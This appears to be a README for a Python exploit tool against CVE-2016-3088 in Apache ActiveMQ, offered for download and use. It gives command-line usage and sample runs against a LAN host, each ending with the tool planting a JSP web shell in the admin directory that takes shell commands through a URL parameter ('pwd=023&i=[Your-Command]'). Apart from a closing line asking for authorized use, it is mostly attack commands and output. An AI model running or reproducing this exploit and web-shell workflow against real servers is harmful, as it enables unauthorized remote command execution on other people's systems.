
A Python-based Exploit Script for CVE-2016-3088
A Python-based Exploit Script for CVE-2016-3088.
This is my first script, so there may be something doesn't quite fit.
But it seems go right when I tested.
This script can eliminate the need to capture packets during the penetration of CVE-2016-3088,
so we can write & move the file directly.
python CVE-2016-3088.py --url http://ip:port/ [--path absolute_path] [--script filename.txt]
the parameter --script is optional, it will use the build-in payload if you run program without it,
the payload is only lets you execute a few commands in the url.
But you can enter other scripts to achieve your purpose.
Just download the .py .
And it requires some modules.
$ python CVE-2016-3088.py --url http://192.168.244.153:8161/ --path /opt/activemq
[+] The target is Vulnerable
[+] Exploiting...
[+] Successful!
[+] Visit The JSP file: http://192.168.244.153:8161/admin/d404ca6ffa5849a9ab1202dd388684f5.jsp?pwd=023&i=[Your-Command]
$ python CVE-2016-3088.py --url http://192.168.244.153:8161/ --path /opt/activemq --script script.txt
[+] The target is Vulnerable
[+] Exploiting...
[+] Successful!
[+] Visit The JSP file: http://192.168.244.153:8161/admin/6655d82d47cd43bb8a21515f476bce1f.jsp
Pls use this tool with care and only when authorized!